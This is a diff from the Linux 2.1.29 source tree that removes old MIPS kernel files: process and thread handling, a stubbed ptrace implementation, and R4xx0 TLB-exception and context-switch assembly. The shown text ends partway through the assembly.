linux-2.1.29/arch/mips/kernel/process.c linux/arch/mips/kernel/process.c --- linux-2.1.29/arch/mips/kernel/process.c Sat May 10 18:16:42 1997 +++ linux/arch/mips/kernel/process.c Wed Dec 31 19:00:00 1969 @@ -1,175 +0,0 @@ -/* - * linux/arch/mips/kernel/process.c - * - * Copyright (C) 1995 Ralf Baechle - * written by Ralf Baechle - * - * This file handles the architecture-dependent parts of initialization - */ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include - -asmlinkage void ret_from_sys_call(void); - -/* - * This routine reboots the machine by asking the keyboard - * controller to pulse the reset-line low. We try that for a while, - * and if it doesn't work, we do some other stupid things. - * Should be ok for Deskstation Tynes. Reseting others needs to be - * investigated... - */ -static inline void kb_wait(void) -{ - int i; - - for (i=0; i<0x10000; i++) - if ((inb_p(0x64) & 0x02) == 0) - break; -} - -/* - * Hard reset for Deskstation Tyne - * No hint how this works on Pica boards. - */ -void hard_reset_now(void) -{ - int i, j; - - sti(); - for (;;) { - for (i=0; i<100; i++) { - kb_wait(); - for(j = 0; j < 100000 ; j++) - /* nothing */; - outb(0xfe,0x64); /* pulse reset low */ - } - } -} - -void show_regs(struct pt_regs * regs) -{ - /* - * Saved main processor registers - */ - printk("$0 : %08x %08lx %08lx %08lx %08lx %08lx %08lx %08lx\n", - 0, regs->reg1, regs->reg2, regs->reg3, - regs->reg4, regs->reg5, regs->reg6, regs->reg7); - printk("$8 : %08lx %08lx %08lx %08lx %08lx %08lx %08lx %08lx\n", - regs->reg8, regs->reg9, regs->reg10, regs->reg11, - regs->reg12, regs->reg13, regs->reg14, regs->reg15); - printk("$16: %08lx %08lx %08lx %08lx %08lx %08lx %08lx %08lx\n", - regs->reg16, regs->reg17, regs->reg18, regs->reg19, - regs->reg20, regs->reg21, regs->reg22, regs->reg23); - printk("$24: %08lx %08lx %08lx %08lx %08lx %08lx\n", - regs->reg24, regs->reg25, regs->reg28, regs->reg29, - regs->reg30, regs->reg31); - - /* - * Saved cp0 registers - */ - printk("epc : %08lx\nStatus: %08lx\nCause : %08lx\n", - regs->cp0_epc, regs->cp0_status, regs->cp0_cause); -} - -/* - * Free current thread data structures etc.. - */ -void exit_thread(void) -{ - /* - * Nothing to do - */ -} - -void flush_thread(void) -{ - /* - * Nothing to do - */ -} - -void release_thread(struct task_struct *dead_task) -{ - /* - * Nothing to do - */ -} - -int copy_thread(int nr, unsigned long clone_flags, unsigned long usp, - struct task_struct * p, struct pt_regs * regs) -{ - struct pt_regs * childregs; - unsigned long childksp; - - childksp = p->kernel_stack_page + PAGE_SIZE - 8; - /* - * set up new TSS - */ - childregs = ((struct pt_regs *) (p->kernel_stack_page + PAGE_SIZE)) - 1; - *childregs = *regs; - childregs->reg2 = 0; /* Child gets zero as return value */ - childregs->reg7 = 0; /* Clear error flag */ - regs->reg2 = p->pid; - if (childregs->cp0_status & ST0_CU0) - childregs->reg29 = childksp; - else - childregs->reg29 = usp; - p->tss.ksp = childksp; - p->tss.reg29 = (unsigned long) childregs; /* new sp */ - p->tss.reg31 = (unsigned long) ret_from_sys_call; - - /* - * New tasks loose permission to use the fpu. This accelerates context - * switching for most programs since they don't use the fpu. - */ - p->tss.cp0_status = read_32bit_cp0_register(CP0_STATUS) & - ~(ST0_CU3|ST0_CU2|ST0_CU1|ST0_KSU|ST0_ERL|ST0_EXL); - childregs->cp0_status &= ~(ST0_CU3|ST0_CU2|ST0_CU1); - - return 0; -} - -/* - * fill in the fpu structure for a core dump.. - * - * Actually this is "int dump_fpu (struct elf_fpregset_t *fpu)" - */ -int dump_fpu (int shutup_the_gcc_warning_about_elf_fpregset_t) -{ - int fpvalid = 0; - /* - * To do... - */ - - return fpvalid; -} - -/* - * fill in the user structure for a core dump.. - */ -void dump_thread(struct pt_regs * regs, struct user * dump) -{ - /* - * To do... - */ -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/ptrace.c linux/arch/mips/kernel/ptrace.c --- linux-2.1.29/arch/mips/kernel/ptrace.c Wed Dec 13 05:39:44 1995 +++ linux/arch/mips/kernel/ptrace.c Wed Dec 31 19:00:00 1969 @@ -1,529 +0,0 @@ -/* ptrace.c */ -/* By Ross Biro 1/23/92 */ -/* edited by Linus Torvalds */ - -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include - -#if 0 -/* - * does not yet catch signals sent when the child dies. - * in exit.c or in signal.c. - */ - -/* determines which flags the user has access to. */ -/* 1 = access 0 = no access */ -#define FLAG_MASK 0x00044dd5 - -/* set's the trap flag. */ -#define TRAP_FLAG 0x100 - -/* - * this is the number to subtract from the top of the stack. To find - * the local frame. - */ -#define MAGICNUMBER 68 - -/* change a pid into a task struct. */ -static inline struct task_struct * get_task(int pid) -{ - int i; - - for (i = 1; i < NR_TASKS; i++) { - if (task[i] != NULL && (task[i]->pid == pid)) - return task[i]; - } - return NULL; -} - -/* - * this routine will get a word off of the processes privileged stack. - * the offset is how far from the base addr as stored in the TSS. - * this routine assumes that all the privileged stacks are in our - * data space. - */ -static inline int get_stack_long(struct task_struct *task, int offset) -{ - unsigned char *stack; - - stack = (unsigned char *)task->tss.esp0; - stack += offset; - return (*((int *)stack)); -} - -/* - * this routine will put a word on the processes privileged stack. - * the offset is how far from the base addr as stored in the TSS. - * this routine assumes that all the privileged stacks are in our - * data space. - */ -static inline int put_stack_long(struct task_struct *task, int offset, - unsigned long data) -{ - unsigned char * stack; - - stack = (unsigned char *) task->tss.esp0; - stack += offset; - *(unsigned long *) stack = data; - return 0; -} - -/* - * This routine gets a long from any process space by following the page - * tables. NOTE! You should check that the long isn't on a page boundary, - * and that it is in the task area before calling this: this routine does - * no checking. - */ -static unsigned long get_long(struct vm_area_struct * vma, unsigned long addr) -{ - pgd_t * pgdir; - pte_t * pgtable; - unsigned long page; - -repeat: - pgdir = PAGE_DIR_OFFSET(vma->vm_mm, addr); - if (pgd_none(*pgdir)) { - do_no_page(vma, addr, 0); - goto repeat; - } - if (pgd_bad(*pgdir)) { - printk("ptrace: bad page directory %08lx\n", pgd_val(*pgdir)); - pgd_clear(pgdir); - return 0; - } - pgtable = (pte_t *) (PAGE_PTR(addr) + pgd_page(*pgdir)); - if (!pte_present(*pgtable)) { - do_no_page(vma, addr, 0); - goto repeat; - } - page = pte_page(*pgtable); -/* this is a hack for non-kernel-mapped video buffers and similar */ - if (page >= high_memory) - return 0; - page += addr & ~PAGE_MASK; - return *(unsigned long *) page; -} - -/* - * This routine puts a long into any process space by following the page - * tables. NOTE! You should check that the long isn't on a page boundary, - * and that it is in the task area before calling this: this routine does - * no checking. - * - * Now keeps R/W state of page so that a text page stays readonly - * even if a debugger scribbles breakpoints into it. -M.U- - */ -static void put_long(struct vm_area_struct * vma, unsigned long addr, - unsigned long data) -{ - pgd_t *pgdir; - pte_t *pgtable; - unsigned long page; - -repeat: - pgdir = PAGE_DIR_OFFSET(vma->vm_mm, addr); - if (!pgd_present(*pgdir)) { - do_no_page(vma, addr, 1); - goto repeat; - } - if (pgd_bad(*pgdir)) { - printk("ptrace: bad page directory %08lx\n", pgd_val(*pgdir)); - pgd_clear(pgdir); - return; - } - pgtable = (pte_t *) (PAGE_PTR(addr) + pgd_page(*pgdir)); - if (!pte_present(*pgtable)) { - do_no_page(vma, addr, 1); - goto repeat; - } - page = pte_page(*pgtable); - if (!pte_write(*pgtable)) { - do_wp_page(vma, addr, 1); - goto repeat; - } -/* this is a hack for non-kernel-mapped video buffers and similar */ - if (page < high_memory) - *(unsigned long *) (page + (addr & ~PAGE_MASK)) = data; -/* we're bypassing pagetables, so we have to set the dirty bit ourselves */ -/* this should also re-instate whatever read-only mode there was before */ - set_pte(pgtable, pte_mkdirty(mk_pte(page, vma->vm_page_prot))); - invalidate(); -} - -static struct vm_area_struct * find_extend_vma(struct task_struct * tsk, unsigned long addr) -{ - struct vm_area_struct * vma; - - addr &= PAGE_MASK; - vma = find_vma(tsk, addr); - if (!vma) - return NULL; - if (vma->vm_start <= addr) - return vma; - if (!(vma->vm_flags & VM_GROWSDOWN)) - return NULL; - if (vma->vm_end - addr > tsk->rlim[RLIMIT_STACK].rlim_cur) - return NULL; - vma->vm_offset -= vma->vm_start - addr; - vma->vm_start = addr; - return vma; -} - -/* - * This routine checks the page boundaries, and that the offset is - * within the task area. It then calls get_long() to read a long. - */ -static int read_long(struct task_struct * tsk, unsigned long addr, - unsigned long * result) -{ - struct vm_area_struct * vma = find_extend_vma(tsk, addr); - - if (!vma) - return -EIO; - if ((addr & ~PAGE_MASK) > PAGE_SIZE-sizeof(long)) { - unsigned long low,high; - struct vm_area_struct * vma_high = vma; - - if (addr + sizeof(long) >= vma->vm_end) { - vma_high = vma->vm_next; - if (!vma_high || vma_high->vm_start != vma->vm_end) - return -EIO; - } - low = get_long(vma, addr & ~(sizeof(long)-1)); - high = get_long(vma_high, (addr+sizeof(long)) & ~(sizeof(long)-1)); - switch (addr & (sizeof(long)-1)) { - case 1: - low >>= 8; - low |= high << 24; - break; - case 2: - low >>= 16; - low |= high << 16; - break; - case 3: - low >>= 24; - low |= high << 8; - break; - } - *result = low; - } else - *result = get_long(vma, addr); - return 0; -} - -/* - * This routine checks the page boundaries, and that the offset is - * within the task area. It then calls put_long() to write a long. - */ -static int write_long(struct task_struct * tsk, unsigned long addr, - unsigned long data) -{ - struct vm_area_struct * vma = find_extend_vma(tsk, addr); - - if (!vma) - return -EIO; - if ((addr & ~PAGE_MASK) > PAGE_SIZE-sizeof(long)) { - unsigned long low,high; - struct vm_area_struct * vma_high = vma; - - if (addr + sizeof(long) >= vma->vm_end) { - vma_high = vma->vm_next; - if (!vma_high || vma_high->vm_start != vma->vm_end) - return -EIO; - } - low = get_long(vma, addr & ~(sizeof(long)-1)); - high = get_long(vma_high, (addr+sizeof(long)) & ~(sizeof(long)-1)); - switch (addr & (sizeof(long)-1)) { - case 0: /* shouldn't happen, but safety first */ - low = data; - break; - case 1: - low &= 0x000000ff; - low |= data << 8; - high &= ~0xff; - high |= data >> 24; - break; - case 2: - low &= 0x0000ffff; - low |= data << 16; - high &= ~0xffff; - high |= data >> 16; - break; - case 3: - low &= 0x00ffffff; - low |= data << 24; - high &= ~0xffffff; - high |= data >> 8; - break; - } - put_long(vma, addr & ~(sizeof(long)-1),low); - put_long(vma_high, (addr+sizeof(long)) & ~(sizeof(long)-1),high); - } else - put_long(vma, addr, data); - return 0; -} -#endif - -asmlinkage int sys_ptrace(long request, long pid, long addr, long data) -{ -#if 1 - return -ENOSYS; -#else - struct task_struct *child; - struct user * dummy; - int i; - - - dummy = NULL; - - if (request == PTRACE_TRACEME) { - /* are we already being traced? */ - if (current->flags & PF_PTRACED) - return -EPERM; - /* set the ptrace bit in the process flags. */ - current->flags |= PF_PTRACED; - return 0; - } - if (pid == 1) /* you may not mess with init */ - return -EPERM; - if (!(child = get_task(pid))) - return -ESRCH; - if (request == PTRACE_ATTACH) { - if (child == current) - return -EPERM; - if ((!child->dumpable || - (current->uid != child->euid) || - (current->uid != child->uid) || - (current->gid != child->egid) || - (current->gid != child->gid)) && !suser()) - return -EPERM; - /* the same process cannot be attached many times */ - if (child->flags & PF_PTRACED) - return -EPERM; - child->flags |= PF_PTRACED; - if (child->p_pptr != current) { - REMOVE_LINKS(child); - child->p_pptr = current; - SET_LINKS(child); - } - send_sig(SIGSTOP, child, 1); - return 0; - } - if (!(child->flags & PF_PTRACED)) - return -ESRCH; - if (child->state != TASK_STOPPED) { - if (request != PTRACE_KILL) - return -ESRCH; - } - if (child->p_pptr != current) - return -ESRCH; - - switch (request) { - /* when I and D space are separate, these will need to be fixed. */ - case PTRACE_PEEKTEXT: /* read word at location addr. */ - case PTRACE_PEEKDATA: { - unsigned long tmp; - int res; - - res = read_long(child, addr, &tmp); - if (res < 0) - return res; - res = verify_area(VERIFY_WRITE, (void *) data, sizeof(long)); - if (!res) - put_fs_long(tmp,(unsigned long *) data); - return res; - } - - /* read the word at location addr in the USER area. */ - case PTRACE_PEEKUSR: { - unsigned long tmp; - int res; - - if ((addr & 3) || addr < 0 || - addr > sizeof(struct user) - 3) - return -EIO; - - res = verify_area(VERIFY_WRITE, (void *) data, sizeof(long)); - if (res) - return res; - tmp = 0; /* Default return condition */ - if(addr < 17*sizeof(long)) { - addr = addr >> 2; /* temporary hack. */ - - tmp = get_stack_long(child, sizeof(long)*addr - MAGICNUMBER); - if (addr == DS || addr == ES || - addr == FS || addr == GS || - addr == CS || addr == SS) - tmp &= 0xffff; - }; - if(addr >= (long) &dummy->u_debugreg[0] && - addr <= (long) &dummy->u_debugreg[7]){ - addr -= (long) &dummy->u_debugreg[0]; - addr = addr >> 2; - tmp = child->debugreg[addr]; - }; - put_fs_long(tmp,(unsigned long *) data); - return 0; - } - - /* when I and D space are separate, this will have to be fixed. */ - case PTRACE_POKETEXT: /* write the word at location addr. */ - case PTRACE_POKEDATA: - return write_long(child,addr,data); - - case PTRACE_POKEUSR: /* write the word at location addr in the USER area */ - if ((addr & 3) || addr < 0 || - addr > sizeof(struct user) - 3) - return -EIO; - - addr = addr >> 2; /* temporary hack. */ - - if (addr == ORIG_EAX) - return -EIO; - if (addr == DS || addr == ES || - addr == FS || addr == GS || - addr == CS || addr == SS) { - data &= 0xffff; - if (data && (data & 3) != 3) - return -EIO; - } - if (addr == EFL) { /* flags. */ - data &= FLAG_MASK; - data |= get_stack_long(child, EFL*sizeof(long)-MAGICNUMBER) & ~FLAG_MASK; - } - /* Do not allow the user to set the debug register for kernel - address space */ - if(addr < 17){ - if (put_stack_long(child, sizeof(long)*addr-MAGICNUMBER, data)) - return -EIO; - return 0; - }; - - /* We need to be very careful here. We implicitly - want to modify a portion of the task_struct, and we - have to be selective about what portions we allow someone - to modify. */ - - addr = addr << 2; /* Convert back again */ - if(addr >= (long) &dummy->u_debugreg[0] && - addr <= (long) &dummy->u_debugreg[7]){ - - if(addr == (long) &dummy->u_debugreg[4]) return -EIO; - if(addr == (long) &dummy->u_debugreg[5]) return -EIO; - if(addr < (long) &dummy->u_debugreg[4] && - ((unsigned long) data) >= 0xbffffffd) return -EIO; - - if(addr == (long) &dummy->u_debugreg[7]) { - data &= ~DR_CONTROL_RESERVED; - for(i=0; i<4; i++) - if ((0x5f54 >> ((data >> (16 + 4*i)) & 0xf)) & 1) - return -EIO; - }; - - addr -= (long) &dummy->u_debugreg; - addr = addr >> 2; - child->debugreg[addr] = data; - return 0; - }; - return -EIO; - - case PTRACE_SYSCALL: /* continue and stop at next (return from) syscall */ - case PTRACE_CONT: { /* restart after signal. */ - long tmp; - - if ((unsigned long) data > NSIG) - return -EIO; - if (request == PTRACE_SYSCALL) - child->flags |= PF_TRACESYS; - else - child->flags &= ~PF_TRACESYS; - child->exit_code = data; - wake_up_process(child); - /* make sure the single step bit is not set. */ - tmp = get_stack_long(child, sizeof(long)*EFL-MAGICNUMBER) & ~TRAP_FLAG; - put_stack_long(child, sizeof(long)*EFL-MAGICNUMBER,tmp); - return 0; - } - -/* - * make the child exit. Best I can do is send it a sigkill. - * perhaps it should be put in the status that it wants to - * exit. - */ - case PTRACE_KILL: { - long tmp; - - if (child->state == TASK_ZOMBIE) /* already dead */ - return 0; - wake_up_process(child); - child->exit_code = SIGKILL; - /* make sure the single step bit is not set. */ - tmp = get_stack_long(child, sizeof(long)*EFL-MAGICNUMBER) & ~TRAP_FLAG; - put_stack_long(child, sizeof(long)*EFL-MAGICNUMBER,tmp); - return 0; - } - - case PTRACE_SINGLESTEP: { /* set the trap flag. */ - long tmp; - - if ((unsigned long) data > NSIG) - return -EIO; - child->flags &= ~PF_TRACESYS; - tmp = get_stack_long(child, sizeof(long)*EFL-MAGICNUMBER) | TRAP_FLAG; - put_stack_long(child, sizeof(long)*EFL-MAGICNUMBER,tmp); - wake_up_process(child); - child->exit_code = data; - /* give it a chance to run. */ - return 0; - } - - case PTRACE_DETACH: { /* detach a process that was attached. */ - long tmp; - - if ((unsigned long) data > NSIG) - return -EIO; - child->flags &= ~(PF_PTRACED|PF_TRACESYS); - wake_up_process(child); - child->exit_code = data; - REMOVE_LINKS(child); - child->p_pptr = child->p_opptr; - SET_LINKS(child); - /* make sure the single step bit is not set. */ - tmp = get_stack_long(child, sizeof(long)*EFL-MAGICNUMBER) & ~TRAP_FLAG; - put_stack_long(child, sizeof(long)*EFL-MAGICNUMBER,tmp); - return 0; - } - - default: - return -EIO; - } -#endif -} - -asmlinkage void syscall_trace(void) -{ - if ((current->flags & (PF_PTRACED|PF_TRACESYS)) - != (PF_PTRACED|PF_TRACESYS)) - return; - current->exit_code = SIGTRAP; - current->state = TASK_STOPPED; - notify_parent(current); - schedule(); - /* - * this isn't the same as continuing with a signal, but it will do - * for normal use. strace only continues with a signal if the - * stopping signal is not SIGTRAP. -brl - */ - if (current->exit_code) - current->signal |= (1 << (current->exit_code - 1)); - current->exit_code = 0; -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/r4xx0.S linux/arch/mips/kernel/r4xx0.S --- linux-2.1.29/arch/mips/kernel/r4xx0.S Fri Apr 12 02:49:30 1996 +++ linux/arch/mips/kernel/r4xx0.S Wed Dec 31 19:00:00 1969 @@ -1,829 +0,0 @@ -/* - * arch/mips/kernel/r4xx0.S - * - * Copyright (C) 1994, 1995 Waldorf Electronics - * Written by Ralf Baechle and Andreas Busse - * - * This file contains most of the R4xx0 specific routines. Due to the - * similarities this should hopefully also be fine for the R10000. For - * now we especially support the R10000 by not invalidating entries out of - * the TLB before calling the C handlers. - * - * This code is evil magic. Read appendix f (coprocessor 0 hazards) of - * all R4xx0 manuals and think about that MIPS means "Microprocessor without - * Interlocked Pipeline Stages" before you even think about changing this code! - */ -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#ifdef __SMP__ -#error "Fix this for SMP" -#else -#define current current_set -#endif - -MODE_ALIAS = 0x0016 # uncachable - - .text - .set mips3 - .set noreorder - - .align 5 - NESTED(handle_tlbl, FR_SIZE, sp) - .set noat - /* - * Check whether this is a refill or an invalid exception - * - * NOTE: Some MIPS manuals say that the R4x00 sets the - * BadVAddr only when EXL == 0. This is wrong - BadVAddr - * is being set for all Reload, Invalid and Modified - * exceptions. - */ - mfc0 k0,CP0_BADVADDR - mfc0 k1,CP0_ENTRYHI - ori k0,0x1fff - xori k0,0x1fff - andi k1,0xff - or k0,k1 - mfc0 k1,CP0_ENTRYHI - mtc0 k0,CP0_ENTRYHI - nop # for R4[04]00 pipeline - nop - nop - tlbp - nop # for R4[04]00 pipeline - nop - mfc0 k0,CP0_INDEX - bgez k0,invalid_tlbl # bad addr in c0_badvaddr - mtc0 k1,CP0_ENTRYHI # delay slot - /* - * Damn... The next nop is required on my R4400PC V5.0, but - * I don't know why - at least there is no documented - * reason as for the others :-( - */ - nop - -#ifdef CONF_DEBUG_TLB - /* - * OK, this is a double fault. Let's see whether this is - * due to an invalid entry in the page_table. - */ - dmfc0 k0,CP0_BADVADDR - srl k0,12 - sll k0,2 - lui k1,%HI(TLBMAP) - addu k0,k1 - lw k1,(k0) - andi k1,(_PAGE_PRESENT|_PAGE_ACCESSED) - bnez k1,reload_pgd_entries - nop # delay slot - - .set noat - SAVE_ALL - .set at - PRINT("Double fault caused by invalid entries in pgd:\n") - dmfc0 a1,CP0_BADVADDR - PRINT("Double fault address : %08lx\n") - dmfc0 a1,CP0_EPC - PRINT("c0_epc : %08lx\n") - jal show_regs - move a0,sp - jal dump_tlb_all - nop - dmfc0 a0,CP0_BADVADDR - jal dump_list_current - nop - .set noat - STI - .set at - PANIC("Corrupted pagedir") - .set noat - -reload_pgd_entries: -#endif /* CONF_DEBUG_TLB */ - - /* - * Load missing pair of entries from the pgd and return. - */ - dmfc0 k1,CP0_CONTEXT - dsra k1,1 - lwu k0,(k1) # Never causes nested exception - lwu k1,4(k1) - dsrl k0,6 # Convert to EntryLo format - dsrl k1,6 # Convert to EntryLo format - dmtc0 k0,CP0_ENTRYLO0 - dmtc0 k1,CP0_ENTRYLO1 - nop # for R4[04]00 pipeline - tlbwr - nop # for R4[04]00 pipeline - nop - nop - /* - * We don't know whether the original access was read or - * write, so return and see what happens... - */ - eret - - /* - * Handle invalid exception - * - * There are two possible causes for an invalid (tlbl) - * exception: - * 1) pages with present bit set but the valid bit clear - * 2) nonexistent pages - * Case one needs fast handling, therefore don't save - * registers yet. - * - * k0 contains c0_index. - */ -invalid_tlbl: -#ifdef CONFIG_TLB_SHUTDOWN - /* - * Remove entry so we don't need to care later - * For sake of the R4000 V2.2 pipeline the tlbwi insn - * has been moved down. Moving it around is juggling with - * explosives... - */ - lui k1,0x0008 - or k0,k1 - dsll k0,13 - dmtc0 k0,CP0_ENTRYHI - dmtc0 zero,CP0_ENTRYLO0 - dmtc0 zero,CP0_ENTRYLO1 -#endif - /* - * Test present bit in entry - */ - dmfc0 k0,CP0_BADVADDR - srl k0,12 - sll k0,2 -#ifdef CONFIG_TLB_SHUTDOWN - tlbwi # do not move! -#endif - lui k1,%HI(TLBMAP) - addu k0,k1 - lw k1,(k0) - andi k1,(_PAGE_PRESENT|_PAGE_READ) - xori k1,(_PAGE_PRESENT|_PAGE_READ) - bnez k1,nopage_tlbl - /* - * Present and read bits are set -> set valid and accessed bits - */ - lw k1,(k0) # delay slot - ori k1,(_PAGE_VALID|_PAGE_ACCESSED) - sw k1,(k0) - eret - - /* - * Page doesn't exist. Lots of work which is less important - * for speed needs to be done, so hand it all over to the - * kernel memory management routines. - */ -nopage_tlbl: SAVE_ALL - dmfc0 a2,CP0_BADVADDR - STI - .set at - /* - * a0 (struct pt_regs *) regs - * a1 (unsigned long) 0 for read access - * a2 (unsigned long) faulting virtual address - */ - move a0,sp - jal do_page_fault - li a1,0 # delay slot - j ret_from_sys_call - nop # delay slot - END(handle_tlbl) - - .text - .align 5 - NESTED(handle_tlbs, FR_SIZE, sp) - .set noat - /* - * It is impossible that is a nested reload exception. - * Therefore this must be a invalid exception. - * Two possible cases: - * 1) Page exists but not dirty. - * 2) Page doesn't exist yet. Hand over to the kernel. - * - * Test whether present bit in entry is set - */ - dmfc0 k0,CP0_BADVADDR - srl k0,12 - sll k0,2 - lui k1,%HI(TLBMAP) - addu k0,k1 - lw k1,(k0) - tlbp # find faulting entry - andi k1,(_PAGE_PRESENT|_PAGE_WRITE) - xori k1,(_PAGE_PRESENT|_PAGE_WRITE) - bnez k1,nopage_tlbs - /* - * Present and writable bits set: set accessed and dirty bits. - */ - lw k1,(k0) # delay slot - ori k1,k1,(_PAGE_ACCESSED|_PAGE_MODIFIED| \ - _PAGE_VALID|_PAGE_DIRTY) - sw k1,(k0) - /* - * Now reload the entry into the TLB - */ - ori k0,0x0004 - xori k0,0x0004 - lw k1,4(k0) - lw k0,(k0) - srl k1,6 - srl k0,6 - dmtc0 k1,CP0_ENTRYLO1 - dmtc0 k0,CP0_ENTRYLO0 - nop # for R4[04]00 pipeline - tlbwi - nop # for R4[04]00 pipeline - nop - nop - eret - - /* - * Page doesn't exist. Lots of work which is less important - * for speed needs to be done, so hand it all over to the - * kernel memory management routines. - */ -nopage_tlbs: -nowrite_mod: -#ifdef CONFIG_TLB_SHUTDOWN - /* - * Remove entry so we don't need to care later - */ - mfc0 k0,CP0_INDEX -#ifdef CONF_DEBUG_TLB - bgez k0,2f - nop - /* - * We got a tlbs exception but found no matching entry in - * the tlb. This should never happen. Paranoia makes us - * check it, though. - */ - SAVE_ALL - jal show_regs - move a0,sp - .set at - mfc0 a1,CP0_BADVADDR - PRINT("c0_badvaddr == %08lx\n") - mfc0 a1,CP0_INDEX - PRINT("c0_index == %08x\n") - mfc0 a1,CP0_ENTRYHI - PRINT("c0_entryhi == %08x\n") - .set noat - STI - .set at - PANIC("Tlbs or tlbm exception with no matching entry in tlb") -1: j 1b - nop -2: -#endif /* CONF_DEBUG_TLB */ - lui k1,0x0008 - or k0,k1 - dsll k0,13 - dmtc0 k0,CP0_ENTRYHI - dmtc0 zero,CP0_ENTRYLO0 - dmtc0 zero,CP0_ENTRYLO1 - nop # for R4[04]00 pipeline - nop # R4000 V2.2 requires 4 NOPs - nop - nop - tlbwi -#endif - .set noat - SAVE_ALL - dmfc0 a2,CP0_BADVADDR - STI - .set at - /* - * a0 (struct pt_regs *) regs - * a1 (unsigned long) 1 for write access - * a2 (unsigned long) faulting virtual address - */ - move a0,sp - jal do_page_fault - li a1,1 # delay slot - j ret_from_sys_call - nop # delay slot - END(handle_tlbs) - - .align 5 - NESTED(handle_mod, FR_SIZE, sp) - .set noat - /* - * Two possible cases: - * 1) Page is writable but not dirty -> set dirty and return - * 2) Page is not writable -> call C handler - */ - dmfc0 k0,CP0_BADVADDR - srl k0,12 - sll k0,2 - lui k1,%HI(TLBMAP) - addu k0,k1 - lw k1,(k0) - tlbp # find faulting entry - andi k1,_PAGE_WRITE - beqz k1,nowrite_mod - /* - * Present and writable bits set: set accessed and dirty bits. - */ - lw k1,(k0) # delay slot - ori k1,(_PAGE_ACCESSED|_PAGE_DIRTY) - sw k1,(k0) - /* - * Now reload the entry into the tlb - */ - ori k0,0x0004 - xori k0,0x0004 - lw k1,4(k0) - lw k0,(k0) - srl k1,6 - srl k0,6 - dmtc0 k1,CP0_ENTRYLO1 - dmtc0 k0,CP0_ENTRYLO0 - nop # for R4[04]00 pipeline - nop - nop - tlbwi - nop # for R4[04]00 pipeline - nop - nop - eret - END(handle_mod) - .set at - -/* - * Until SAVE_ALL/RESTORE_ALL handle registers 64-bit wide we have to - * disable interrupts here. - */ - .set noreorder - LEAF(tlbflush) - mfc0 t3,CP0_STATUS - ori t4,t3,1 - xori t4,1 - mtc0 t4,CP0_STATUS - li t0,PM_4K - mtc0 t0,CP0_PAGEMASK - la t0,boot_info - lw t0,OFFSET_BOOTINFO_TLB_ENTRIES(t0) - dmtc0 zero,CP0_ENTRYLO0 - dmtc0 zero,CP0_ENTRYLO1 - mfc0 t2,CP0_WIRED -1: subu t0,1 - mtc0 t0,CP0_INDEX - lui t1,0x0008 - or t1,t0,t1 - dsll t1,13 - dmtc0 t1,CP0_ENTRYHI - bne t2,t0,1b - tlbwi # delay slot - jr ra - mtc0 t3,CP0_STATUS # delay slot - END(tlbflush) - - /* - * Code necessary to switch tasks on an Linux/MIPS machine. - */ - .align 5 - LEAF(resume) - /* - * Current task's task_struct - */ - lui t5,%hi(current) - lw t0,%lo(current)(t5) - - /* - * Save status register - */ - mfc0 t1,CP0_STATUS - addu t0,a1 # Add tss offset - sw t1,TOFF_CP0_STATUS(t0) - - /* - * Disable interrupts - */ - ori t2,t1,0x1f - xori t2,0x1e - mtc0 t2,CP0_STATUS - - /* - * Save non-scratch registers - * All other registers have been saved on the kernel stack - */ - sw s0,TOFF_REG16(t0) - sw s1,TOFF_REG17(t0) - sw s2,TOFF_REG18(t0) - sw s3,TOFF_REG19(t0) - sw s4,TOFF_REG20(t0) - sw s5,TOFF_REG21(t0) - sw s6,TOFF_REG22(t0) - sw s7,TOFF_REG23(t0) - sw gp,TOFF_REG28(t0) - sw sp,TOFF_REG29(t0) - sw fp,TOFF_REG30(t0) - - /* - * Save floating point state - */ - sll t2,t1,2 - bgez t2,2f - sw ra,TOFF_REG31(t0) # delay slot - sll t2,t1,5 - bgez t2,1f - sdc1 $f0,(TOFF_FPU+0)(t0) # delay slot - /* - * Store the 16 odd double precision registers - */ - sdc1 $f1,(TOFF_FPU+8)(t0) - sdc1 $f3,(TOFF_FPU+24)(t0) - sdc1 $f5,(TOFF_FPU+40)(t0) - sdc1 $f7,(TOFF_FPU+56)(t0) - sdc1 $f9,(TOFF_FPU+72)(t0) - sdc1 $f11,(TOFF_FPU+88)(t0) - sdc1 $f13,(TOFF_FPU+104)(t0) - sdc1 $f15,(TOFF_FPU+120)(t0) - sdc1 $f17,(TOFF_FPU+136)(t0) - sdc1 $f19,(TOFF_FPU+152)(t0) - sdc1 $f21,(TOFF_FPU+168)(t0) - sdc1 $f23,(TOFF_FPU+184)(t0) - sdc1 $f25,(TOFF_FPU+200)(t0) - sdc1 $f27,(TOFF_FPU+216)(t0) - sdc1 $f29,(TOFF_FPU+232)(t0) - sdc1 $f31,(TOFF_FPU+248)(t0) - - /* - * Store the 16 even double precision registers - */ -1: cfc1 t1,fcr31 - sdc1 $f2,(TOFF_FPU+16)(t0) - sdc1 $f4,(TOFF_FPU+32)(t0) - sdc1 $f6,(TOFF_FPU+48)(t0) - sdc1 $f8,(TOFF_FPU+64)(t0) - sdc1 $f10,(TOFF_FPU+80)(t0) - sdc1 $f12,(TOFF_FPU+96)(t0) - sdc1 $f14,(TOFF_FPU+112)(t0) - sdc1 $f16,(TOFF_FPU+128)(t0) - sdc1 $f18,(TOFF_FPU+144)(t0) - sdc1 $f20,(TOFF_FPU+160)(t0) - sdc1 $f22,(TOFF_FPU+176)(t0) - sdc1 $f24,(TOFF_FPU+192)(t0) - sdc1 $f26,(TOFF_FPU+208)(t0) - sdc1 $f28,(TOFF_FPU+224)(t0) - sdc1 $f30,(TOFF_FPU+240)(t0) - sw t1,(TOFF_FPU+256)(t0) - - /* - * Switch current task - */ -2: sw a0,%lo(current)(t5) - addu a0,a1 # Add tss offset - - /* - * Switch address space - */ - - /* - * (Choose new ASID for process) - * This isn't really required, but would speed up - * context switching. - */ - - /* - * Switch the root pointer - */ - lw t0,TOFF_PG_DIR(a0) - li t1,TLB_ROOT - mtc0 t1,CP0_ENTRYHI - mtc0 zero,CP0_INDEX - srl t0,6 - ori t0,MODE_ALIAS - mtc0 t0,CP0_ENTRYLO0 - mtc0 zero,CP0_ENTRYLO1 - lw a2,TOFF_CP0_STATUS(a0) - - /* - * Flush tlb - * (probably not needed, doesn't clobber a0-a3) - */ - jal tlbflush - tlbwi # delay 